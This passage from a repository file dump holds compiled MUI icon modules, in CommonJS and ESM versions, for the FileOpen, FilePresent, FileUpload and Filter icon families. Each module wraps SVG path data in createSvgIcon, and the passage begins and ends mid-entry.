    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 22H6c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h8l6 6v6h-2V9h-5V4H6v16h9zm4-.34v-2.24l2.95 2.95 1.41-1.41L20.41 18h2.24v-2H17v5.66z\"\n}), 'FileOpenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h9v-6c0-1.1.9-2 2-2h3V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M13 8V3.5L18.5 9H14c-.55 0-1-.45-1-1m9.66 9c0 .55-.45 1-1 1h-1.24l2.24 2.24c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L19 19.41v1.24c0 .55-.45 1-1 1s-1-.45-1-1V17c0-.55.45-1 1-1h3.66c.55 0 1 .45 1 1\"\n}), 'FileOpenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h9v-6c0-1.1.9-2 2-2h3V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M13 8V3.5L18.5 9H14c-.55 0-1-.45-1-1m9.66 9c0 .55-.45 1-1 1h-1.24l2.24 2.24c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L19 19.41v1.24c0 .55-.45 1-1 1s-1-.45-1-1V17c0-.55.45-1 1-1h3.66c.55 0 1 .45 1 1\"\n}), 'FileOpenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h11v-8h5V8zm-1 7V3.5L18.5 9zm4 12.66V16h5.66v2h-2.24l2.95 2.95-1.41 1.41L19 19.41v2.24h-2z\"\n}), 'FileOpenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h11v-8h5V8zm-1 7V3.5L18.5 9zm4 12.66V16h5.66v2h-2.24l2.95 2.95-1.41 1.41L19 19.41v2.24h-2z\"\n}), 'FileOpenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h3V9h-5V4H6v16h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 22H6c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h8l6 6v6h-2V9h-5V4H6v16h9zm4-.34v-2.24l2.95 2.95 1.41-1.41L20.41 18h2.24v-2H17v5.66z\"\n}, \"1\")], 'FileOpenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h3V9h-5V4H6v16h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 22H6c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h8l6 6v6h-2V9h-5V4H6v16h9zm4-.34v-2.24l2.95 2.95 1.41-1.41L20.41 18h2.24v-2H17v5.66z\"\n}, \"1\")], 'FileOpenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V7zM6 20V4h8v4h4v12zm10-10v5c0 2.21-1.79 4-4 4s-4-1.79-4-4V8.5c0-1.47 1.26-2.64 2.76-2.49 1.3.13 2.24 1.32 2.24 2.63V15h-2V8.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V15c0 1.1.9 2 2 2s2-.9 2-2v-5z\"\n}), 'FilePresent');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V7zM6 20V4h8v4h4v12zm10-10v5c0 2.21-1.79 4-4 4s-4-1.79-4-4V8.5c0-1.47 1.26-2.64 2.76-2.49 1.3.13 2.24 1.32 2.24 2.63V15h-2V8.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V15c0 1.1.9 2 2 2s2-.9 2-2v-5z\"\n}), 'FilePresent');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm4 18H6V4h8v4h4zm-6-3c-1.1 0-2-.9-2-2V9.5c0-.28.22-.5.5-.5s.5.22.5.5V15h2V9.5C13 8.12 11.88 7 10.5 7S8 8.12 8 9.5V15c0 2.21 1.79 4 4 4s4-1.79 4-4v-4h-2v4c0 1.1-.9 2-2 2\"\n}), 'FilePresentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm4 18H6V4h8v4h4zm-6-3c-1.1 0-2-.9-2-2V9.5c0-.28.22-.5.5-.5s.5.22.5.5V15h2V9.5C13 8.12 11.88 7 10.5 7S8 8.12 8 9.5V15c0 2.21 1.79 4 4 4s4-1.79 4-4v-4h-2v4c0 1.1-.9 2-2 2\"\n}), 'FilePresentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M16 15c0 2.34-2.01 4.21-4.39 3.98C9.53 18.78 8 16.92 8 14.83V9.64c0-1.31.94-2.5 2.24-2.63C11.74 6.86 13 8.03 13 9.5V14c0 .55-.45 1-1 1s-1-.45-1-1V9.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v5.39c0 1 .68 1.92 1.66 2.08 1.26.21 2.34-.76 2.34-1.97v-3c0-.55.45-1 1-1s1 .45 1 1zm-2-8V4l4 4h-3c-.55 0-1-.45-1-1\"\n}), 'FilePresentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M16 15c0 2.34-2.01 4.21-4.39 3.98C9.53 18.78 8 16.92 8 14.83V9.64c0-1.31.94-2.5 2.24-2.63C11.74 6.86 13 8.03 13 9.5V14c0 .55-.45 1-1 1s-1-.45-1-1V9.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v5.39c0 1 .68 1.92 1.66 2.08 1.26.21 2.34-.76 2.34-1.97v-3c0-.55.45-1 1-1s1 .45 1 1zm-2-8V4l4 4h-3c-.55 0-1-.45-1-1\"\n}), 'FilePresentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm2 13c0 2.21-1.79 4-4 4s-4-1.79-4-4V9.5C8 8.12 9.12 7 10.5 7S13 8.12 13 9.5V15h-2V9.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V15c0 1.1.9 2 2 2s2-.9 2-2v-4h2zm-2-7V4l4 4z\"\n}), 'FilePresentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm2 13c0 2.21-1.79 4-4 4s-4-1.79-4-4V9.5C8 8.12 9.12 7 10.5 7S13 8.12 13 9.5V15h-2V9.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V15c0 1.1.9 2 2 2s2-.9 2-2v-4h2zm-2-7V4l4 4z\"\n}), 'FilePresentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4H6v16h12V8h-4zm2 7v4c0 2.21-1.79 4-4 4s-4-1.79-4-4V9.5C8 8.12 9.12 7 10.5 7S13 8.12 13 9.5V15h-2V9.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V15c0 1.1.9 2 2 2s2-.9 2-2v-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 15c0 1.1-.9 2-2 2s-2-.9-2-2V9.5c0-.28.22-.5.5-.5s.5.22.5.5V15h2V9.5C13 8.12 11.88 7 10.5 7S8 8.12 8 9.5V15c0 2.21 1.79 4 4 4s4-1.79 4-4v-4h-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm4 18H6V4h8v4h4z\"\n}, \"2\")], 'FilePresentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilePresentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4H6v16h12V8h-4zm2 7v4c0 2.21-1.79 4-4 4s-4-1.79-4-4V9.5C8 8.12 9.12 7 10.5 7S13 8.12 13 9.5V15h-2V9.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V15c0 1.1.9 2 2 2s2-.9 2-2v-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 15c0 1.1-.9 2-2 2s-2-.9-2-2V9.5c0-.28.22-.5.5-.5s.5.22.5.5V15h2V9.5C13 8.12 11.88 7 10.5 7S8 8.12 8 9.5V15c0 2.21 1.79 4 4 4s4-1.79 4-4v-4h-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm4 18H6V4h8v4h4z\"\n}, \"2\")], 'FilePresentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUpload.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h6v-6h4l-7-7-7 7h4zm-4 2h14v2H5z\"\n}), 'FileUpload');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUpload.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h6v-6h4l-7-7-7 7h4zm-4 2h14v2H5z\"\n}), 'FileUpload');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.7 4.69L5 10h2.17L9 11.83V16h4.17l2 2H5v2h12.17l2.61 2.61zM15 10h4l-7-7-3.09 3.09L15 12.17z\"\n}), 'FileUploadOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.7 4.69L5 10h2.17L9 11.83V16h4.17l2 2H5v2h12.17l2.61 2.61zM15 10h4l-7-7-3.09 3.09L15 12.17z\"\n}), 'FileUploadOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 15v3H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3zM7 9l1.41 1.41L11 7.83V16h2V7.83l2.59 2.58L17 9l-5-5z\"\n}), 'FileUploadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 15v3H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3zM7 9l1.41 1.41L11 7.83V16h2V7.83l2.59 2.58L17 9l-5-5z\"\n}), 'FileUploadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.4 10h1.59v5c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-5h1.59c.89 0 1.34-1.08.71-1.71L12.7 3.7a.996.996 0 0 0-1.41 0L6.7 8.29c-.63.63-.19 1.71.7 1.71M5 19c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1\"\n}), 'FileUploadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.4 10h1.59v5c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-5h1.59c.89 0 1.34-1.08.71-1.71L12.7 3.7a.996.996 0 0 0-1.41 0L6.7 8.29c-.63.63-.19 1.71.7 1.71M5 19c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1\"\n}), 'FileUploadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10h4v6h6v-6h4l-7-7zm0 8v2h14v-2z\"\n}), 'FileUploadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10h4v6h6v-6h4l-7-7zm0 8v2h14v-2z\"\n}), 'FileUploadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.83 8H11v6h2V8h1.17L12 5.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18h14v2H5zm0-8h4v6h6v-6h4l-7-7zm8-2v6h-2V8H9.83L12 5.83 14.17 8z\"\n}, \"1\")], 'FileUploadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileUploadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.83 8H11v6h2V8h1.17L12 5.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18h14v2H5zm0-8h4v6h6v-6h4l-7-7zm8-2v6h-2V8H9.83L12 5.83 14.17 8z\"\n}, \"1\")], 'FileUploadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.96 10.29-2.75 3.54-1.96-2.36L8.5 15h11zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.96 10.29-2.75 3.54-1.96-2.36L8.5 15h11zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm11 10h2V5h-4v2h2zm7-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter1');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm11 10h2V5h-4v2h2zm7-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter1');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm11 10h2V5h-4v2h2zm7-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm11 10h2V5h-4v2h2zm7-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'Filter1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m13 10c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1h1v7c0 .55.45 1 1 1m6-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'Filter1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter1Rounded.mjs",
